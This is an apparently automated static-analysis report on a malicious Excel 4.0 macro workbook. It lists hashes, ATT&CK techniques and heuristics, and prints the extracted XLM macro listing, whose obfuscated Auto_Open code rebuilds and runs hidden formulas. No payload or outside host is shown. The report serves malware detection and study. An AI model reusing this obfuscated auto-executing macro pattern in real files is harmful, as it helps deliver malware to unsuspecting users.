Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f61cbe170b2ebfc…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:42:22 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 597cf5f85f9255ae207cbd8af397d0ec SHA-1: aa2f5ab185004bf683bce0171e8871b811ac352d SHA-256: 4f61cbe170b2ebfc1f3278fe080f3a1d24e933b8bc63cfecd5de6bbbe2ed97d5
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further suggests malicious intent. While the exact payload is not discernible from the provided evidence, the mechanism points to an attempt to execute arbitrary code.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6769 bytes
SHA-256: 8ebfaf5ebe6bdd5cf148ae6ea879370c0d61aa49e4bc6000d9bfb89fb79577a8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PqwwnPTtfxj
' 0018     25 LABEL : Cell Value, String Constant - aRrTPprjmR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H178 
' 0018     27 LABEL : Cell Value, String Constant - CZUFkJMXaZqX len=0 
' 0018     20 LABEL : Cell Value, String Constant - GjfQp len=0 
' 0018     20 LABEL : Cell Value, String Constant - JiFyu len=0 
' 0018     27 LABEL : Cell Value, String Constant - kdgroaXVrJrs len=0 
' 0018     21 LABEL : Cell Value, String Constant - KFpubz len=0 
' 0018     21 LABEL : Cell Value, String Constant - ldVVsR len=0 
' 0018     21 LABEL : Cell Value, String Constant - Oodaeg len=0 
' 0018     26 LABEL : Cell Value, String Constant - otTHlggwqUY len=0 
' 0018     21 LABEL : Cell Value, String Constant - POmHaL len=0 
' 0018     26 LABEL : Cell Value, String Constant - RPRXplJkief len=0 
' 0018     26 LABEL : Cell Value, String Constant - ugXRzYZhGkn len=0 
' 0018     24 LABEL : Cell Value, String Constant - usCFOOEZa len=0 
' 0018     25 LABEL : Cell Value, String Constant - VfGxKYfwvP len=0 
' 0018     25 LABEL : Cell Value, String Constant - WriYQEkzPj len=0 
' 0018     24 LABEL : Cell Value, String Constant - xaaMxfCaX len=0 
' 0018     21 LABEL : Cell Value, String Constant - xMVgik len=0 
' 0018     26 LABEL : Cell Value, String Constant - xRFcxMIFpOm len=0 
' 0018     27 LABEL : Cell Value, String Constant - zGxHWXyRDgud len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZulrG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PqwwnPTtfxj,H95,"SET.NAME("GjfQp",VALUE("0"))",""
'  PqwwnPTtfxj,H99,"SET.NAME("otTHlggwqUY",GjfQp)",""
'  PqwwnPTtfxj,H104,"SET.NAME("kdgroaXVrJrs",GjfQp)",""
'  PqwwnPTtfxj,H107,"SET.NAME("xRFcxMIFpOm",COUNTA(aRrTPprjmR))",""
'  PqwwnPTtfxj,H111,"SET.NAME("POmHaL",COUNTA(xMVgik))",""
'  PqwwnPTtfxj,H113,[],""
'  PqwwnPTtfxj,H116,"SET.NAME("KFpubz","")",""
'  PqwwnPTtfxj,H118,"otTHlggwqUY",""
'  PqwwnPTtfxj,H120,"SET.NAME("xaaMxfCaX",HLOOKUP("*",aRrTPprjmR,otTHlggwqUY,FALSE))",""
'  PqwwnPTtfxj,H122,"ldVVsR",""
'  PqwwnPTtfxj,H124,"SET.NAME("Oodaeg",GjfQp)",""
'  PqwwnPTtfxj,H127,[],""
'  PqwwnPTtfxj,H129,"Oodaeg",""
'  PqwwnPTtfxj,H132,"zGxHWXyRDgud",""
'  PqwwnPTtfxj,H135,"CZUFkJMXaZqX",""
'  PqwwnPTtfxj,H139,"WriYQEkzPj",""
'  PqwwnPTtfxj,H142,"SET.NAME("JiFyu",VALUE(HLOOKUP("*",xMVgik,WriYQEkzPj,FALSE)))",""
'  PqwwnPTtfxj,H147,"ZulrG",""
'  PqwwnPTtfxj,H152,"KFpubz",""
'  PqwwnPTtfxj,H156,"kdgroaXVrJrs",""
'  PqwwnPTtfxj,H158,NEXT(),""
'  PqwwnPTtfxj,H161,"ugXRzYZhGkn",""
'  PqwwnPTtfxj,H165,"SET.NAME("f",INT(T(FORMULA(T(KFpubz)&"",""&T(ugXRzYZhGkn)))))",""
'  PqwwnPTtfxj,H170,"RPRXplJkief",""
'  PqwwnPTtfxj,H172,NEXT(),""
'  PqwwnPTtfxj,H176,RETURN(),""
'  PqwwnPTtfxj,H199,"SET.NAME("usCFOOEZa",H95)",""
'  PqwwnPTtfxj,H201,"aRrTPprjmR",""
'  PqwwnPTtfxj,H204,"SET.NAME("xMVgik",R75C15)",""
'  PqwwnPTtfxj,H209,"SET.NAME("RPRXplJkief",220)",""
'  PqwwnPTtfxj,H214,"SET.NAME("VfGxKYfwvP",8)",""
'  PqwwnPTtfxj,H219,usCFOOEZa(),""
'  PqwwnPTtfxj,H220,HALT(),""